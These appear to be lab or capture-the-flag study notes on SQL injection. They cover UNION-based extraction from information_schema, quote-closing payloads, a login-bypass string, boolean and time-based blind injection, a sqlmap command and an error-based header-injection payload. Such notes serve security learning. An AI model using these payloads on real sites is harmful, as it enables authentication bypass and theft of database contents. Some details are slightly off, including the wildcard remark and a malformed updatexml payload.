In-Band SQL Injection

SQL Injection Principle

User input is executed by the database as a SQL statement. If a website executes SQL statements we input, it has a SQL injection vulnerability.

Input locations:

1. Search boxes and other input fields on the website
2. URL parameters, e.g. domain/search?keyword=123

Basic SQL Syntax

SELECT columns FROM table WHERE condition

* = select all (regex wildcard)

Injection Process

1. Check if SQL injection vulnerability exists

• Input and 1=1 → results returned
• Input and 1=2 → no results → vulnerability confirmed

2. Determine column count with ORDER BY

ORDER BY 1 → works → 1 column ORDER BY 2 → works → 2 columns ORDER BY 3 → works → 3 columns ORDER BY 4 → no result → only 3 columns

3. Find display point with UNION

SELECT * FROM user WHERE id=1 AND 1=2 UNION SELECT 1,2,3

4. Query data

• version() — database version
• database() — database name

Query table names:

UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1

Query column names:

UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='error_flag' LIMIT 1,1

Query data:

UNION SELECT 1,2,flag FROM error_flag LIMIT 1,1

Closing Quotes

• pass-01: SELECT * FROM user WHERE id=1 → and 1=1
• pass-02: SELECT * FROM user WHERE id='1' → ' and 1=1 --+
• pass-03: SELECT * FROM user WHERE id=('1') → ') and 1=1 --+

Comments: --+, #, --d

AND vs OR: AND requires all conditions true; OR needs only one → Universal password: ' or 2-1=1 -- asdf

Blind SQL Injection

Boolean-based Blind

Guess data by checking whether page returns results:

• AND length(database())=1 → no result → length ≠ 1
• AND length(database())=12 → result → length = 12
• AND substr(database(),1,1)='k' → result → first char is ‘k’

Time-based Blind

IF(condition, sleep(5), 3) — if condition true, delay 5 seconds.

SQLMap

python sqlmap.py -u "URL"

HEAD Injection

• User-Agent injection
• Referer injection
• X-Forwarded-For injection
• Use updatexml(1,concat(0x7e,(SELECT version())),1),1) for error-based injection.